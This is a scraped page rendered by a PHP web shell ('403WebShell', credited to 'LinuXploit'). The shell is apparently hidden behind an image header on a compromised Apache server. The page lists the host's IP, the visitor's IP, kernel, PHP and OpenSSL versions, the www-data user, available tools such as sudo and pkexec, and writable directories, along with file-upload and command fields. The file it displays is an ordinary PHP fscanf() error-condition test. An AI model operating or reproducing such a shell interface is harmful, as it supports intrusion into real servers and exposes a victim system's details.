????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/fscanf_error.phpt
--TEST--
Test fscanf() function: error conditions

--FILE--
<?php
/*
  Prototype: mixed fscanf ( resource $handle, string $format [, mixed &$...] );
  Description: Parses input from a file according to a format
*/

echo "*** Testing fscanf() for error conditions ***\n";
$file_path = dirname(__FILE__);

$filename = "$file_path/fscanf_error.tmp";
$file_handle = fopen($filename, 'w');
if ($file_handle == false) 
  exit("Error:failed to open file $filename");
fwrite($file_handle, "hello world");
fclose($file_handle);

// zero argument
var_dump( fscanf() );

// single argument
$file_handle = fopen($filename, 'r');
if ($file_handle == false) 
  exit("Error:failed to open file $filename");
var_dump( fscanf($file_handle) );
fclose($file_handle);

// invalid file handle
var_dump( fscanf($file_handle, "%s") );

// number of formats in format strings not matching the no of variables
$file_handle = fopen($filename, 'r');
if ($file_handle == false) 
  exit("Error:failed to open file $filename");
var_dump( fscanf($file_handle, "%d%s%f", $int_var, $string_var) );
fclose($file_handle);

// different invalid format strings
$invalid_formats = array( $undefined_var, undefined_constant,
                          "%", "%h", "%.", "%d%m"
                   );


// looping to use various invalid formats with fscanf()
foreach($invalid_formats as $format)  {
  $file_handle = fopen($filename, 'r');
  if ($file_handle == false) 
    exit("Error:failed to open file $filename");
  var_dump( fscanf($file_handle, $format) );
  fclose($file_handle); 
}

echo "\n*** Done ***";
?>
--CLEAN--
<?php
$file_path = dirname(__FILE__);
$filename = "$file_path/fscanf_error.tmp";
unlink($filename);
?>
--EXPECTF--
*** Testing fscanf() for error conditions ***

Warning: fscanf() expects at least 2 parameters, 0 given in %s on line %d
NULL

Warning: fscanf() expects at least 2 parameters, 1 given in %s on line %d
NULL

Warning: fscanf(): %d is not a valid File-Handle resource in %s on line %d
bool(false)

Warning: fscanf(): Different numbers of variable names and field specifiers in %s on line %d
int(-1)

Notice: Undefined variable: undefined_var in %s on line %d

Notice: Use of undefined constant undefined_constant - assumed 'undefined_constant' in %s on line %d
array(0) {
}
array(0) {
}

Warning: fscanf(): Bad scan conversion character " in %s on line %d
NULL

Warning: fscanf(): Bad scan conversion character " in %s on line %d
NULL

Warning: fscanf(): Bad scan conversion character "." in %s on line %d
NULL

Warning: fscanf(): Bad scan conversion character "m" in %s on line %d
NULL

*** Done ***

Youez - 2016 - github.com/yon3zu
LinuXploit